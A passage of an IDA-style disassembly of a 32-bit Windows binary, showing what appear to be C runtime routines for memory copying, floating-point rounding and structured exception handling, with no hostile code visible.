======================================= ; Attributes: bp-based frame sub_41CA73 proc near ; CODE XREF: ___:0040B055p ; sub_40C29A+40p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41B960 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420445 add esp, 10h leave retn sub_41CA73 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAB0 proc near ; CODE XREF: sub_40B12F+62p ; sub_40B12F+6Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CAD0 cmp edi, eax jb loc_41CC48 loc_41CAD0: ; CODE XREF: sub_41CAB0+16j test edi, 3 jnz short loc_41CAEC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CB0C rep movsd jmp off_41CBF8[edx*4] ; --------------------------------------------------------------------------- loc_41CAEC: ; CODE XREF: sub_41CAB0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CB04 and eax, 3 add ecx, eax jmp dword ptr loc_41CB0C+4[eax*4] ; --------------------------------------------------------------------------- loc_41CB04: ; CODE XREF: sub_41CAB0+46j jmp dword ptr loc_41CC08[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CB0C: ; CODE XREF: sub_41CAB0+31j ; sub_41CAB0+8Ej ... jmp off_41CB8C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CB20 dd offset loc_41CB4C dd offset loc_41CB70 ; --------------------------------------------------------------------------- loc_41CB20: ; DATA XREF: sub_41CAB0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CB0C rep movsd jmp off_41CBF8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CB4C: ; DATA XREF: sub_41CAB0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CB0C rep movsd jmp off_41CBF8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CB70: ; DATA XREF: sub_41CAB0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CB0C rep movsd jmp off_41CBF8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CB8C dd offset loc_41CBEF ; DATA XREF: sub_41CAB0:loc_41CB0Cr dd offset loc_41CBDC dd offset loc_41CBD4 dd offset loc_41CBCC dd offset loc_41CBC4 dd offset loc_41CBBC dd offset loc_41CBB4 dd offset loc_41CBAC ; --------------------------------------------------------------------------- loc_41CBAC: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CBB4: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CBBC: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CBC4: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CBCC: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CBD4: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CBDC: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CBEF: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0:off_41CB8Co jmp off_41CBF8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CBF8 dd offset loc_41CC08 ; DATA XREF: sub_41CAB0+35r ; sub_41CAB0+92r ... dd offset loc_41CC10 dd offset loc_41CC1C dd offset loc_41CC30 ; --------------------------------------------------------------------------- loc_41CC08: ; CODE XREF: sub_41CAB0+35j ; sub_41CAB0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CC10: ; CODE XREF: sub_41CAB0+35j ; sub_41CAB0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CC1C: ; CODE XREF: sub_41CAB0+35j ; sub_41CAB0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CC30: ; CODE XREF: sub_41CAB0+35j ; sub_41CAB0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CC48: ; CODE XREF: sub_41CAB0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CC7C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CC70 std rep movsd cld jmp off_41CD90[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CC70: ; CODE XREF: sub_41CAB0+1B1j ; sub_41CAB0+208j ... neg ecx jmp off_41CD40[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CC7C: ; CODE XREF: sub_41CAB0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CC94 and eax, 3 sub ecx, eax jmp dword ptr loc_41CC94+4[eax*4] ; --------------------------------------------------------------------------- loc_41CC94: ; CODE XREF: sub_41CAB0+1D6j ; DATA XREF: sub_41CAB0+1DDr jmp off_41CD90[ecx*4] ; --------------------------------------------------------------------------- align 4 test al, 0CCh inc ecx add al, cl int 3 ; Trap to Debugger inc ecx add al, dh int 3 ; Trap to Debugger inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CC70 std rep movsd cld jmp off_41CD90[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CC70 std rep movsd cld jmp off_41CD90[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CC70 std rep movsd cld jmp off_41CD90[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CD44 dd offset loc_41CD4C dd offset loc_41CD54 dd offset loc_41CD5C dd offset loc_41CD64 dd offset loc_41CD6C dd offset loc_41CD74 off_41CD40 dd offset loc_41CD87 ; DATA XREF: sub_41CAB0+1C2r ; --------------------------------------------------------------------------- loc_41CD44: ; DATA XREF: sub_41CAB0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CD4C: ; DATA XREF: sub_41CAB0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CD54: ; DATA XREF: sub_41CAB0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CD5C: ; DATA XREF: sub_41CAB0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CD64: ; DATA XREF: sub_41CAB0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CD6C: ; DATA XREF: sub_41CAB0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CD74: ; DATA XREF: sub_41CAB0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CD87: ; CODE XREF: sub_41CAB0+1C2j ; DATA XREF: sub_41CAB0:off_41CD40o jmp off_41CD90[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CD90 dd offset loc_41CDA0 ; DATA XREF: sub_41CAB0+1B7r ; sub_41CAB0:loc_41CC94r ... dd offset loc_41CDA8 dd offset loc_41CDB8 dd offset loc_41CDCC ; --------------------------------------------------------------------------- loc_41CDA0: ; CODE XREF: sub_41CAB0+1B7j ; sub_41CAB0:loc_41CC94j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDA8: ; CODE XREF: sub_41CAB0+1B7j ; sub_41CAB0:loc_41CC94j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDB8: ; CODE XREF: sub_41CAB0+1B7j ; sub_41CAB0:loc_41CC94j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDCC: ; CODE XREF: sub_41CAB0+1B7j ; sub_41CAB0:loc_41CC94j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CAB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41CDE5(double) sub_41CDE5 proc near ; CODE XREF: sub_40D2DB+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A640 call sub_42171E fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41CE6B call sub_4215E6 pop ecx test eax, eax pop ecx jle short loc_41CE4E cmp eax, 2 jle short loc_41CE40 cmp eax, 3 jnz short loc_41CE4E fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420EF6 add esp, 10h jmp short loc_41CEB0 ; --------------------------------------------------------------------------- loc_41CE40: ; CODE XREF: sub_41CDE5+3Fj push esi push ebx call sub_42171E fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41CEB0 ; --------------------------------------------------------------------------- loc_41CE4E: ; CODE XREF: sub_41CDE5+3Aj ; sub_41CDE5+44j fld [ebp+arg_0] fadd dbl_427710 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41CEA8 ; --------------------------------------------------------------------------- loc_41CE6B: ; CODE XREF: sub_41CDE5+2Fj call sub_4215AB fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41CE8E loc_41CE80: ; CODE XREF: sub_41CDE5+ACj push esi push ebx call sub_42171E fld [ebp+var_8] pop ecx pop ecx jmp short loc_41CEB0 ; --------------------------------------------------------------------------- loc_41CE8E: ; CODE XREF: sub_41CDE5+99j test bl, 20h jnz short loc_41CE80 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41CEA8: ; CODE XREF: sub_41CDE5+84j call sub_420F49 add esp, 1Ch loc_41CEB0: ; CODE XREF: sub_41CDE5+59j ; sub_41CDE5+67j ... pop esi pop ebx leave retn sub_41CDE5 endp ; =============== S U B R O U T I N E ======================================= sub_41CEB4 proc near ; CODE XREF: ___:0041BF0Dp ; sub_4217E7+21p ; DATA XREF: ... call sub_41CECC call sub_4217E7 mov dword_4D9768, eax call sub_421797 fnclex retn sub_41CEB4 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_41CECC proc near ; CODE XREF: sub_41CEB4p mov eax, offset sub_421BD5 mov off_43AC2C, offset sub_42186A mov off_43AC28, eax mov off_43AC30, offset sub_4218D0 mov off_43AC34, offset sub_421810 mov off_43AC38, offset sub_4218B8 mov off_43AC3C, eax retn sub_41CECC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CF04 proc near ; CODE XREF: sub_40D2DB+1Bp ; sub_40D2DB+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41CF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41CF2B(double) sub_41CF2B proc near ; CODE XREF: sub_40D327+82p ; ___:0040E725p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A658 call sub_42171E fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41CFB1 call sub_4215E6 pop ecx test eax, eax pop ecx jle short loc_41CF94 cmp eax, 2 jle short loc_41CF86 cmp eax, 3 jnz short loc_41CF94 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420EF6 add esp, 10h jmp short loc_41CFF6 ; --------------------------------------------------------------------------- loc_41CF86: ; CODE XREF: sub_41CF2B+3Fj push esi push ebx call sub_42171E fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41CFF6 ; --------------------------------------------------------------------------- loc_41CF94: ; CODE XREF: sub_41CF2B+3Aj ; sub_41CF2B+44j fld [ebp+arg_0] fadd dbl_427710 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41CFEE ; --------------------------------------------------------------------------- loc_41CFB1: ; CODE XREF: sub_41CF2B+2Fj call sub_4215AB fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41CFD4 loc_41CFC6: ; CODE XREF: sub_41CF2B+ACj push esi push ebx call sub_42171E fld [ebp+var_8] pop ecx pop ecx jmp short loc_41CFF6 ; --------------------------------------------------------------------------- loc_41CFD4: ; CODE XREF: sub_41CF2B+99j test bl, 20h jnz short loc_41CFC6 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41CFEE: ; CODE XREF: sub_41CF2B+84j call sub_420F49 add esp, 1Ch loc_41CFF6: ; CODE XREF: sub_41CF2B+59j ; sub_41CF2B+67j ... pop esi pop ebx leave retn sub_41CF2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CFFA proc near ; CODE XREF: ___:004220B7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41CFFA endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41D02E proc near ; CODE XREF: sub_4221F7+199p ; sub_4223BB+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D02E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D035 proc near ; CODE XREF: sub_4221F7+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D035 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D03C proc near ; CODE XREF: sub_41D1EE+5Cp ; sub_422046:loc_422077p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41D064 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42663C sub_41D03C endp ; --------------------------------------------------------------------------- loc_41D064: ; DATA XREF: sub_41D03C+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41D08B: ; CODE XREF: ___:00426D68j ; ___:00426D85j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421C4B add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D0C1 proc near ; CODE XREF: sub_4220C1+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41D115 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422450 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41D0C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D115 proc near ; DATA XREF: sub_41D0C1+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421C4B add esp, 20h pop ebp retn sub_41D115 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D13A proc near ; CODE XREF: sub_421E8D+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41D1EE mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41D1C0 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4D97C0 pop ecx pop ecx and [ebp+var_34], 0 loc_41D1C0: ; DATA XREF: sub_41D13A+3Co cmp [ebp+var_4], 0 jz short loc_41D1DD mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41D1E6 ; --------------------------------------------------------------------------- loc_41D1DD: ; CODE XREF: sub_41D13A+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41D1E6: ; CODE XREF: sub_41D13A+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41D13A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D1EE proc near ; DATA XREF: sub_41D13A+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41D211 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41D25E ; --------------------------------------------------------------------------- loc_41D211: ; CODE XREF: sub_41D1EE+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421C4B add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41D24F push [ebp+arg_0] push [ebp+arg_4] call sub_41D03C ; --------------------------------------------------------------------------- loc_41D24F: ; CODE XREF: sub_41D1EE+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41D25E: ; CODE XREF: sub_41D1EE+21j pop edi pop esi pop ebx pop ebp retn sub_41D1EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D263 proc near ; CODE XREF: sub_421CE6+C6p ; sub_421E8D+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41D2BA loc_41D281: ; CODE XREF: sub_41D263+52j cmp esi, 0FFFFFFFFh jnz short loc_41D28B call sub_4224F2 loc_41D28B: ; CODE XREF: sub_41D263+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41D2A0 cmp ecx, [eax+8] jle short loc_41D2A5 loc_41D2A0: ; CODE XREF: sub_41D263+36j cmp esi, 0FFFFFFFFh jnz short loc_41D2B1 loc_41D2A5: ; CODE XREF: sub_41D263+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41D2B1: ; CODE XREF: sub_41D263+40j cmp [ebp+arg_4], 0 jge short loc_41D281 mov eax, [ebp+var_4] loc_41D2BA: ; CODE XREF: sub_41D263+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41D2CE cmp esi, eax jbe short loc_41D2D3 loc_41D2CE: ; CODE XREF: sub_41D263+65j call sub_4224F2 loc_41D2D3: ; CODE XREF: sub_41D263+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41D263 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D2E0 proc near ; CODE XREF: sub_4233C0+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41D2F8 push [ebp+arg_0] call sub_42663C sub_41D2E0 endp ; =============== S U B R O U T I N E ======================================= sub_41D2F8 proc near ; DATA XREF: sub_41D2E0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D2F8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D300 proc near ; DATA XREF: sub_41D322+Ao ; sub_41D38A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41D321 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41D321: ; CODE XREF: sub_41D300+10j retn sub_41D300 endp ; =============== S U B R O U T I N E ======================================= sub_41D322 proc near ; CODE XREF: sub_422167+Dp ; sub_4233C0+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41D300 push large dword ptr fs:0 mov large fs:0, esp loc_41D33F: ; CODE XREF: sub_41D322:loc_41D37Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41D37C cmp esi, [esp+1Ch+arg_4] jz short loc_41D37C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41D37A push 101h mov eax, [ebx+esi*4+8] call sub_41D3B6 call dword ptr [ebx+esi*4+8] loc_41D37A: ; CODE XREF: sub_41D322+44j jmp short loc_41D33F ; --------------------------------------------------------------------------- loc_41D37C: ; CODE XREF: sub_41D322+2Aj ; sub_41D322+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41D322 endp ; =============== S U B R O U T I N E ======================================= sub_41D38A proc near ; CODE XREF: sub_422187+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41D300 jnz short locret_41D3AC mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41D3AC mov eax, 1 locret_41D3AC: ; CODE XREF: sub_41D38A+10j ; sub_41D38A+1Bj retn sub_41D38A endp ; =============== S U B R O U T I N E ======================================= sub_41D3AD proc near ; CODE XREF: sub_422450+1Ep ; sub_422450+40p push ebx push ecx mov ebx, offset dword_43A65C jmp short loc_41D3C0 sub_41D3AD endp ; =============== S U B R O U T I N E ======================================= sub_41D3B6 proc near ; CODE XREF: sub_41D322+4Fp ; sub_4233C0+78p push ebx push ecx mov ebx, offset dword_43A65C mov ecx, [ebp+8] loc_41D3C0: ; CODE XREF: sub_41D3AD+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41D3B6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D3D0 proc near ; CODE XREF: sub_40D327+5p ; sub_40D4C9+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41D3D0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D3EF proc near ; CODE XREF: sub_40D968+26p ; ___:004263D2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41BA31 pop ecx retn sub_41D3EF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D400 proc near ; CODE XREF: sub_40D9D9+3Ap ; sub_41E4A2+2EEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, 